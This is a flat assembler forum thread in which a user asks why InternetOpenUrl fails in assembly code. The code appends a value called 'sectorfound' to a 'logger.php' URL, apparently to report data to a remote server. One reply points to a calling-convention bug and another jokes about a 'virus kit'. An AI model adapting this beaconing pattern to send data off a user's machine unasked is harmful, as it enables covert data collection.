flat assembler
Message board for the users of flat assembler.

Index > Windows > InternetOpenUrl dont works

Author
Thread Post new topic Reply to topic
Apolo



Joined: 18 Mar 2017
Posts: 23
Apolo 08 Apr 2017, 05:09
Why InternetOpenUrl returns ERROR_SXS_KEY_NOT_FOUND (00002EE7)?

This is the code:
Code:
 invoke InternetGetConnectedState,Storage ,0
 cmp eax,0
 jz Lab1
 invoke strcpy,_urlTmp ,url
 invoke strcat, _urlTmp ,sectorfound
 invoke InternetOpen,[sAgent], 0, 0, 0, 0
 mov [hConnect], eax
 invoke InternetOpenUrl, [hConnect],_urlTmp, 0,0,0,0
 mov [hUrl],eax
 invoke InternetCloseHandle,[hConnect]
 invoke InternetCloseHandle,[hUrl]
 ret

 Storage  dw 0,0
 sAgent   dd 0,0
 hConnect dd 0,0
 hUrl     dd 0,0
 url db  'http://site.oeg/logger.php',0
_urlTmp         db 2048 dup (0)
     
Post 08 Apr 2017, 05:09
View user's profile Send private message Reply with quote
Walter



Joined: 26 Jan 2013
Posts: 155
Walter 08 Apr 2017, 21:17
You don't show linkage for strcpy and strcat. But if these are C based functions, you should be using cinvoke. Perhaps the stack is not balanced.
Post 08 Apr 2017, 21:17
View user's profile Send private message Reply with quote
shutdownall



Joined: 02 Apr 2010
Posts: 517
Location: Munich
shutdownall 15 Apr 2017, 14:50
So how is your virus kit going on ?
Maybe you should buy a kit from the dark net, goes faster. Cool
Post 15 Apr 2017, 14:50
View user's profile Send private message Send e-mail Reply with quote
Display posts from previous:
Post new topic Reply to topic

Jump to:  


< Last Thread | Next Thread >
Forum Rules:
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You can download files in this forum


Copyright © 1999-2024, Tomasz Grysztar. Also on GitHub, YouTube.

Website powered by rwasa.